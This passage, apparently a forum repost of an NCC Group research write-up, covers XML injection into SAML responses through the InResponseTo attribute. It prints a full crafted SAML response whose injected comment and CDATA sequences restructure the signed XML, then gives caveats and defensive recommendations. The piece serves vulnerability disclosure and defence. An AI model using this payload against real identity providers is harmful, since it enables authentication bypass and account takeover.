InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" ncc-injection=' --> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_65a7aa51-521c-46c2-8825-a0b51f730101"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>20FqC5eEhH0bv6lYVD6Dh1VczuZNg0NeemP0B32GFwc=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>O0XjQRmGusm2a2ImysF1wTB2HJSnCNE6aIxKd7cF8ZI+rEyHff4+mbW1uD81hwi4tvdwDjTZZNsnW8djLbAgT8E6dV2HsisXeDRBXvIobi1qW3KUf9k4oO70G0bhVjKWzCAHUo53SGNc6UDuvkijXoxEdyg5US13raeuXsjKs9w=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_365db265e0bc16c34ffa06ad9b382bbff77541ee55" NotOnOrAfter="2021-02-12T06:51:42.705Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>--><![CDATA['><!-- ]]> <ncc-elem a=""/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-12T05:55:46.978Z" NotOnOrAfter="2021-02-12T06:00:46.978Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-12T05:55:46.978Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> Depending on where the InResponseTo attributes are located within the XML document, it may be necessary to adjust the payload to ensure that the XML is correct and well-formed. There are some caveats to the InResponseTo attacks, however. This particular injection was only successful because the assertion in the SAML response was not signed. Some identity providers sign both the assertion and the SAML response. In this situation, it may only be possible to utilize the second InResponseTo injection point, as any modifications to this assertion after the application of the signature could cause the verification to fail. The specifics of this approach will vary based on the implementation of the identity provider, and the libraries used to parse and sign the XML. Recommendations Organizations and services that rely on SAML for authentication should examine identity providers and determine whether they are affected by XML injection vulnerabilities, particularly if the identity provider uses string-based templates to build SAML responses/assertions with user controlled data. Ideally, SAML responses and assertions should be constructed using an appropriate XML library that can safely set user-controlled data in attributes and text nodes. If it is absolutely necessary to use a string template, or string functions, to include user-controlled data within SAML messages, the data should be strictly validated. If XML characters are detected in the user-input, the authentication attempt should be rejected with an error message. Before insertion to the document, XML encoding should be applied to the data, to ensure that even if the validation is bypassed, the user input cannot inject additional XML. Additionally, consider enforcing the use of signatures for SAML authentication requests sent from service providers, where possible. If the SAML request signature is validated by the identity provider, any attempt to modify the request to include an XML injection payload (such as those which exploit the InResponseTo attribute) can be detected. Sursa: https://research.nccgroup.com/2021/03/29/saml-xml-injection/
-
- 1
-